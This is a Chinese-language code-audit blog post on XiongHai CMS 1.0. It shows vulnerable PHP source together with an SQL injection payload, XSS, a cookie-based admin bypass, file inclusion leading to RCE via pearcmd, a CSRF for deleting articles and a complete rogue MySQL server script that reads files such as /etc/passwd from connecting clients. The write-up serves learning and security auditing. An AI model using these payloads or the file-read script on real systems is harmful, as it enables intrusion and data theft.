熊海1.0cmsPHP代码审计

熊海1.0cmsPHP代码审计

环境搭建

下载之后直接使用phpstduy搭建就好了

工具使用

比如使用seay审计系统

image-20240805101911200

sql大多数是存在的,但是没有文件上传,这个就是需要自己去验证

漏洞审计

SQL注入

有点多,随便拿一个举例子

就比如我们的登录页面/admin/files/login.php

<?php 
ob_start();
require '../inc/conn.php';
$login=$_POST['login'];
$user=$_POST['user'];
$password=$_POST['password'];
$checkbox=$_POST['checkbox'];

if ($login<>""){
$query = "SELECT * FROM manage WHERE user='$user'";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$users = mysql_fetch_array($result);

if (!mysql_num_rows($result)) {  
echo "<Script language=JavaScript>alert('抱歉,用户名或者密码错误。');history.back();</Script>";
exit;
}else{
$passwords=$users['password'];
if(md5($password)<>$passwords){
echo "<Script language=JavaScript>alert('抱歉,用户名或者密码错误。');history.back();</Script>";
exit;   
    }
//写入登录信息并记住30天
if ($checkbox==1){
setcookie('user',$user,time()+3600*24*30,'/');
}else{
setcookie('user',$user,0,'/');
}
echo "<script>this.location='?r=index'</script>";
exit;
}
exit;
ob_end_flush();
}
?>

可以看到是没有过滤我们的输入的,直接拼接进了我们的sql语句

注入点在user

1' or updatexml(1,concat(0x7e,(select database()),0x7e),1)#

image-20240805102344238

当然还有太多了,都是这个问题

XSS

xss就是要输出到页面上,还是有太多了,没有登录进管理系统的会

有下面几处

/files/contact.php

漏洞位置:files/contact.php 第12~15行

$page=addslashes($_GET['page']);
if ($page<>""){
if ($page<>1){
$pages="第".$page."页 - ";
    
<title><?php echo $navs['name']?> - <?php echo $pages.$info['name']?></title>    

可以看到是直接把我们的$pages输出到了页面上

image-20240805102704978

/files/content.php

这里有一个存储型的xss,因为是存在评论功能的,然后也会把我们的评论给输出到页面上

但是我没有成功就使用了其他的

/admin/files/

只要有list的地方,都会展示我们的输入,我只拿一个举例子

image-20240805103043552

比如我们的wzlist

展示文章,我们可以编辑文章,也可以新建文章

image-20240805103209239

然后保存后去展示页面

image-20240805103417778

垂直越权

我们看看后端是怎么验证我是一个admin的

我们随便去一个需要admin登录才可能访问的页面,都发现包含了一个文件…/inc/checklogin.php

我们去看看

<?php
$user=$_COOKIE['user'];
if ($user==""){
header("Location: ?r=login");
exit;	
}
?>

只是验证了我们的cookie,而且只要cookie不是空的就可以进入

但是有个细节,就是你虽然只要cookie不为空就不会强制你跳转到登录界面,如果要登录成功,还是需要正确的cookie,所以我们这里手动跳转

image-20240805112114335

然后成功登录到后台

文件包含

这个就不说了,太弱智了

index文件入口

<?php
//单一入口模式
error_reporting(0); //关闭错误显示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断为空或者等于index
include('files/'.$action.'.php'); //载入相应文件
?>

直接就是包含任意文件了,可以目录穿越的
但是不能使用伪协议是比较可惜的,因为前面files/是多余字符

当然,文件包含很多利用,比如pear问包含,日志文件包含,我们都可以造成rce

不过我们需要知道路径,看y4是这样的

因为是宝塔安装的缘故所以很容易猜测到宝塔php的安装路径/www/server/php/52/,这里介绍另一个trick的使用也就是pearcmd.php,在7.3及以前,pecl/pear是默认安装的;在7.4及以后,需要我们在编译PHP的时候指定--with-pear才会安装。,这里这个老cms一定是只能5版本所以一定可以

因此构造payload,往/tmp/hello.php写文件即可

image-20240805112605005

之后文件包含成功RCE

img

mysql任意文件读取

这个是我们刚刚搭建这个系统的时候,我们是需要连接mysql的

image-20240805112732851

这个时候就可以实现任意文件读取的操作

然后去搜索一下mysql任意文件读取的脚本就好了,根据你php的版本去找一下

<?php
function unhex($str) { return pack("H*", preg_replace('#[^a-f0-9]+#si', '', $str)); }

$filename = "/etc/passwd";

$srv = stream_socket_server("tcp://0.0.0.0:1237");

while (true) {
  echo "Enter filename to get [$filename] > ";
  $newFilename = rtrim(fgets(STDIN), "\r\n");
  if (!empty($newFilename)) {
    $filename = $newFilename;
  }

  echo "[.] Waiting for connection on 0.0.0.0:1237\n";
  $s = stream_socket_accept($srv, -1, $peer);
  echo "[+] Connection from $peer - greet... ";
  fwrite($s, unhex('45 00 00 00 0a 35 2e 31  2e 36 33 2d 30 75 62 75
                    6e 74 75 30 2e 31 30 2e  30 34 2e 31 00 26 00 00
                    00 7a 42 7a 60 51 56 3b  64 00 ff f7 08 02 00 00
                    00 00 00 00 00 00 00 00  00 00 00 00 64 4c 2f 44
                    47 77 43 2a 43 56 63 72  00                     '));
  fread($s, 8192);
  echo "auth ok... ";
  fwrite($s, unhex('07 00 00 02 00 00 00 02  00 00 00'));
  fread($s, 8192);
  echo "some shit ok... ";
  fwrite($s, unhex('07 00 00 01 00 00 00 00  00 00 00'));
  fread($s, 8192);
  echo "want file... ";
  fwrite($s, chr(strlen($filename) + 1) . "\x00\x00\x01\xFB" . $filename);
  stream_socket_shutdown($s, STREAM_SHUT_WR);
  echo "\n";

  echo "[+] $filename from $peer:\n";

  $len = fread($s, 4);
  if(!empty($len)) {
    list (, $len) = unpack("V", $len);
    $len &= 0xffffff;
    while ($len > 0) {
      $chunk = fread($s, $len);
      $len -= strlen($chunk);
      echo $chunk;
    }
  }

  echo "\n\n";
  fclose($s);
}


image-20240805113157194

这些都是y4实现的,我也没有实现

CSRF漏洞

首先我们可以看到无论是什么操作,后端都是没有进行token验证的,所以如果admin登录了一个账户,我们诱导它去点击我们的链接,就可以实现一些操作,比如删除文章

先抓一个删除文件的包

然后使用bp自带的工具,生成csrf的poc,你可以放在你的官网服务器上,然后只要admin用户点击你的链接,就会删除文章

image-20240805114433920

参考

https://y4tacker.github.io/2022/06/16/year/2022/6/Y4%E6%95%99%E4%BD%A0%E5%AE%A1%E8%AE%A1%E7%B3%BB%E5%88%97%E4%B9%8B%E7%86%8A%E6%B5%B7CMS%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/#%E9%80%BB%E8%BE%91%E7%BB%95%E8%BF%87%E5%85%8D%E5%AF%86%E7%A0%81%E7%99%BB%E5%85%A5%E5%90%8E%E5%8F%B0-%E5%9E%82%E7%9B%B4%E8%B6%8A%E6%9D%83

6%95%99%E4%BD%A0%E5%AE%A1%E8%AE%A1%E7%B3%BB%E5%88%97%E4%B9%8B%E7%86%8A%E6%B5%B7CMS%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/#%E9%80%BB%E8%BE%91%E7%BB%95%E8%BF%87%E5%85%8D%E5%AF%86%E7%A0%81%E7%99%BB%E5%85%A5%E5%90%8E%E5%8F%B0-%E5%9E%82%E7%9B%B4%E8%B6%8A%E6%9D%83

https://xz.aliyun.com/t/10393?time__1311=Cqjx2Qi%3DqYwxlxGgh7Q4ODAOA7DCAeD#toc-4

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值